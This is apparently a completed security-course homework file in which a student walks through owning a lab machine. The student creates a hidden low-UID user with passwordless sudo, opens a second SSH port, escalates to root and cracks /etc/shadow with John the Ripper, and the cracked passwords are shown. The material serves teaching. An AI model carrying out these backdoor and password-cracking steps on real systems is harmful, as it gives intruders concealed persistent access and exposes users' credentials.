**## Week 6 Homework Submission File: Advanced Bash - Owning the System**

Please edit this file by adding the solution commands on the line below the prompt.

Save and submit the completed file for your homework submission.

**\*\*Step 1: Shadow People\*\***

1. Create a secret user named `sysd`. Make sure this user doesn't have a home folder created:

- sudo adduser --no-create-home sysd

2. Give your secret user a password:

- sudo passwd sysd

3. Give your secret user a system UID < 1000:

- usermod -u 420 sysd

4. Give your secret user the same GID:

- `Your solution command here`

- groupadd -g 420 securityguy

- usermod -g 420 sysd

5. Give your secret user full `sudo` access without the need for a password:

- usermod -aG sudo sysd

- visudo

- **# User privilege specification**

sysd ALL=(ALL:ALL) NOPASSWD:ALL

6. Test that `sudo` access works without your password:

```bash

su sysd

sudo -l

User sysd may run the following commands on scavenger-hunt:

(ALL : ALL) NOPASSWD: ALL

(ALL : ALL) ALL

```

**\*\*Step 2: Smooth Sailing\*\***

1. Edit the `sshd\_config` file:

sudo nano /etc/ssh/sshd\_config

Port 22

Port 2222

**\*\*Step 3: Testing Your Configuration Update\*\***

1. Restart the SSH service:

- systemctl restart ssh

2. Exit the `root` account:

- exit

3. SSH to the target machine using your `sysd` account and port `2222`:

- ssh sysd@192.168.6.105 -p 2222

4. Use `sudo` to switch to the root user:

- sudo su

**\*\*Step 4: Crack All the Passwords\*\***

1. SSH back to the system using your `sysd` account and port `2222`:

- ssh sysd@192.168.6.105 -p 2222

2. Escalate your privileges to the `root` user. Use John to crack the entire `/etc/shadow` file:

- sudo su

- john /etc/shadow

root@scavenger-hunt:/# john /etc/shadow

Created directory: /root/.john

Loaded 8 password hashes with 8 different salts (crypt, generic crypt(3) [?/64])

Press 'q' or Ctrl-C to abort, almost any other key for status

sysd (sysd)

computer (stallman)

freedom (babbage)

trustno1 (mitnik)

dragon (lovelace)

lakers (turing)

passw0rd (sysadmin)

Goodluck! (student)

Use the "--show" option to display all of the cracked passwords reliably

Session completed